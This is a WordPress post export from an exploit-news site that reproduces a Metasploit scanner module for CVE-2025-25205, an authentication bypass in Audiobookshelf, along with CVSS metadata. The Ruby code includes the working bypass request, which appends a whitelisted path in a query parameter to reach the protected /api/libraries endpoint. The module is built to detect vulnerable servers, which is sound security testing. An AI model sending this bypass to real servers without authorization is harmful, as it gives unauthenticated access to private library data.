{"id":65232,"date":"2026-06-23T15:44:01","date_gmt":"2026-06-23T15:44:01","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=65232"},"modified":"2026-06-23T15:44:01","modified_gmt":"2026-06-23T15:44:01","slug":"audiobookshelf-unauthenticated-api-authentication-bypass-scanner","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=65232","title":{"rendered":"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-23T19:36:56&#8243;,&#8221;description&#8221;:&#8221;This module detects Audiobookshelf servers affected by CVE-2025-25205, an unauthenticated authentication bypass. Affected versions 2.17.0 through 2.19.0 decide whether a GET request may skip authentication by testing an unanchored regular expression&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-23T19:06:59&#8243;,&#8221;modified&#8221;:&#8221;2026-06-23T19:06:59&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Audiobookshelf Unauthenticated API Authentication Bypass Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-25205&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Auxiliary::Scanner\\n  include Msf::Auxiliary::Report\\n\\n  # Affected range per the advisory: 2.17.0 \\u003c= version \\u003c= 2.19.0 (patched in 2.19.1).\\n  VULNERABLE_MIN = Rex::Version.new(&#8216;2.17.0&#8217;)\\n  PATCHED_VERSION = Rex::Version.new(&#8216;2.19.1&#8217;)\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Audiobookshelf Unauthenticated API Authentication Bypass Scanner&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module detects Audiobookshelf servers affected by CVE-2025-25205, an\\n          unauthenticated authentication bypass. Affected versions (2.17.0 through\\n          2.19.0) decide whether a GET request may skip authentication by testing an\\n          unanchored regular expression against the request&#8217;s full original URL,\\n          including the query string, rather than the normalized path. By appending a\\n          query parameter whose value contains a whitelisted substring such as\\n          \/api\/items\/1\/cover, an unauthenticated client reaches protected API\\n          endpoints.\\n\\n          The module fingerprints the server and version through the unauthenticated\\n          \/status endpoint, then sends two requests to the protected \/api\/libraries\\n          endpoint: a baseline request that must be rejected with HTTP 401, and a\\n          bypass request carrying the whitelisted substring in its query string. On a\\n          vulnerable server the bypass request is processed instead of rejected, which\\n          this module treats as confirmation. It deliberately avoids endpoints such as\\n          \/api\/users that crash the server process (the denial-of-service half of this\\n          CVE).\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;swiftbird07&#8217;, # vulnerability discovery and advisory\\n          &#8216;Kenneth LaCroix&#8217; # Metasploit module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-25205&#8217;],\\n          [&#8216;GHSA&#8217;, &#8216;pg8v-5jcv-wrvw&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/advplyr\/audiobookshelf\/commit\/ec6537656925a43871b07cfee12c9f383844d224&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-02-12&#8217;,\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        },\\n        &#8216;DefaultOptions&#8217; =\\u003e { &#8216;RPORT&#8217; =\\u003e 13_378, &#8216;SSL&#8217; =\\u003e false }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to Audiobookshelf&#8217;, &#8216;\/&#8217;])\\n      ]\\n    )\\n  end\\n\\n  # Fingerprint the target via the unauthenticated \/status endpoint.\\n  # Returns the reported server version string, or nil if this does not look\\n  # like an Audiobookshelf instance.\\n  def fingerprint_version\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;status&#8217;)\\n    )\\n    return nil unless res \\u0026\\u0026 res.code == 200\\n\\n    json = res.get_json_document\\n    return nil unless json.is_a?(Hash) \\u0026\\u0026 json[&#8216;app&#8217;].to_s.casecmp?(&#8216;audiobookshelf&#8217;)\\n\\n    json[&#8216;serverVersion&#8217;]\\n  end\\n\\n  # Differential auth-bypass check against the protected \/api\/libraries endpoint:\\n  # a baseline request must be rejected with HTTP 401, while the bypass request\\n  # (carrying a whitelisted substring in its query) is processed instead of\\n  # rejected. On a vulnerable server the bypass request reaches the handler, which\\n  # returns 200 or 500 (the handler dereferences the now-undefined user); a patched\\n  # server returns 401 to both.\\n  def auth_bypassed?\\n    baseline = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;libraries&#8217;)\\n    )\\n    return false unless baseline \\u0026\\u0026 baseline.code == 401\\n\\n    bypass = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;libraries&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e { &#8216;r&#8217; =\\u003e &#8216;\/api\/items\/1\/cover&#8217; }\\n    )\\n    return false unless bypass\\n\\n    bypass.code == 200 || bypass.code == 500\\n  end\\n\\n  def check_host(_ip)\\n    version = fingerprint_version\\n    return Exploit::CheckCode::Unknown(&#8216;Target does not appear to be Audiobookshelf&#8217;) if version.nil?\\n\\n    return Exploit::CheckCode::Vulnerable(\\&#8221;Audiobookshelf #{version} &#8211; authentication bypass confirmed\\&#8221;) if auth_bypassed?\\n\\n    begin\\n      parsed = Rex::Version.new(version)\\n      if parsed \\u003e= VULNERABLE_MIN \\u0026\\u0026 parsed \\u003c PATCHED_VERSION\\n        return Exploit::CheckCode::Appears(\\&#8221;Audiobookshelf #{version} is in the affected range but the bypass was not confirmed\\&#8221;)\\n      end\\n    rescue ArgumentError\\n      # Unparsable version string; fall through to Safe with the raw value.\\n    end\\n\\n    Exploit::CheckCode::Safe(\\&#8221;Audiobookshelf #{version} &#8211; bypass not confirmed\\&#8221;)\\n  end\\n\\n  def run_host(_ip)\\n    version = fingerprint_version\\n    unless version\\n      vprint_status(\\&#8221;#{peer} &#8211; Target does not appear to be Audiobookshelf\\&#8221;)\\n      return\\n    end\\n    vprint_status(\\&#8221;#{peer} &#8211; Audiobookshelf #{version} detected\\&#8221;)\\n\\n    unless auth_bypassed?\\n      print_status(\\&#8221;#{peer} &#8211; Audiobookshelf #{version} &#8211; not vulnerable (authentication enforced)\\&#8221;)\\n      return\\n    end\\n\\n    print_good(\\&#8221;#{peer} &#8211; Audiobookshelf #{version} &#8211; unauthenticated API authentication bypass confirmed (CVE-2025-25205)\\&#8221;)\\n    report_vuln(\\n      host: rhost,\\n      port: rport,\\n      name: name,\\n      info: \\&#8221;Audiobookshelf #{version} unauthenticated API authentication bypass\\&#8221;,\\n      refs: references\\n    )\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/scanner\/http\/audiobookshelf_auth_bypass.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.2,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/audiobookshelf_auth_bypass\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-23T19:36:56&#8243;,&#8221;description&#8221;:&#8221;This module detects Audiobookshelf servers affected by CVE-2025-25205, an unauthenticated authentication bypass. Affected versions 2.17.0 through 2.19.0 decide whether a GET request may skip authentication&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,77,12,15,169,13,7,11,5],"class_list":["post-65232","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-82","tag-exploit","tag-high","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=65232\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-23T19:36:56&#8243;,&#8221;description&#8221;:&#8221;This module detects Audiobookshelf servers affected by CVE-2025-25205, an unauthenticated authentication bypass. Affected versions 2.17.0 through 2.19.0 decide whether a GET request may skip authentication...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=65232\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-23T15:44:01+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65232#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65232\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS-\",\"datePublished\":\"2026-06-23T15:44:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65232\"},\"wordCount\":1001,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.2\",\"exploit\",\"HIGH\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65232#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65232\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65232\",\"name\":\"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-23T15:44:01+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65232#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65232\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65232#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=65232","og_locale":"en_US","og_type":"article","og_title":"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-23T19:36:56&#8243;,&#8221;description&#8221;:&#8221;This module detects Audiobookshelf servers affected by CVE-2025-25205, an unauthenticated authentication bypass. Affected versions 2.17.0 through 2.19.0 decide whether a GET request may skip authentication...","og_url":"https:\/\/zero.redgem.net\/?p=65232","og_site_name":"zero redgem","article_published_time":"2026-06-23T15:44:01+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=65232#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=65232"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS-","datePublished":"2026-06-23T15:44:01+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=65232"},"wordCount":1001,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.2","exploit","HIGH","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=65232#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=65232","url":"https:\/\/zero.redgem.net\/?p=65232","name":"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-23T15:44:01+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=65232#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=65232"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=65232#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Audiobookshelf Unauthenticated API Authentication Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65232","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=65232"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65232\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=65232"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=65232"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=65232"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}